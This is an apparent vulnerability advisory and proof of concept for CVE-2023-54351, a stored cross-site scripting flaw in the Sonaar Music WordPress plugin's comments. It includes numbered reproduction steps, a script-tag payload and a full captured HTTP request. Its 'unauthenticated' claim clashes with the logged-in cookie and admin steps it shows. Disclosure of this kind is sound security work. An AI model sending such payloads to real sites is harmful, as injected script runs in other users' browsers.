CVE-2023-54351

An unauthenticated attacker can submit a comment containing a JavaScript payload to the `wp-comments-post.php` endpoint. This payload is then stored and executed when other users view the affected playlist pages. The exploit involves navigating to a playlist, adding a new playlist, and then submitting a comment with the malicious script, such as `<script>alert("XSS")</script>` [ref_id=1].

The vulnerability exists in the comment functionality of the WordPress Sonaar Music Plugin version 4.7. Specifically, the `wp-comments-post.php` file is involved in processing comments, and the `comment` parameter is susceptible to injection [ref_id=1].

The patch is not provided in the bundle. The advisory indicates that the vulnerability is a stored cross-site scripting issue within the comment functionality of the Sonaar Music Plugin. Remediation guidance would typically involve sanitizing all user-supplied input before it is stored or displayed.

1-First install sonar music plugin. 2-Then come to the playlist add page. > http://127.0.0.1/wp/wordpress/wp-admin/edit.php?post_type=sr_playlist 3-Press the Add new playlist button 4-Put a random title on the page that opens and publish the page. > http://127.0.0.1/wp/wordpress/wp-admin/post-new.php?post_type=sr_playlist 5-This is the published page http://127.0.0.1/wp/wordpress/album_slug/test/ 6-Let's paste our xss payload in the comment section. Payload: <script>alert("XSS")</script> Bingoo

Request: POST /wp/wordpress/wp-comments-post.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 155 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1/wp/wordpress/album_slug/test/ Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: comment_author_email_52c14530c1f3bbfa6d982f304802224a=a%40gmail.com; comment_author_52c14530c1f3bbfa6d982f304802224a=a%22%26gt%3Balert%28%29; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_52c14530c1f3bbfa6d982f304802224a=hunter%7C1694109284%7CXGnjFgcc7FpgQkJrAwUv1kG8XaQu3RixUDyZJoRSB1W%7C16e2e3964e42d9e56edd7ab7e45b676094d0b9e0ab7fcec2e84549772e438ba9; wp-settings-time-1=1693936486 Connection: close

comment=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=Yorum+g%C3%B6nder&comment_post_ID=13&comment_parent=0&_wp_unfiltered_html_comment=95f4bd9cf5 [ref_id=1]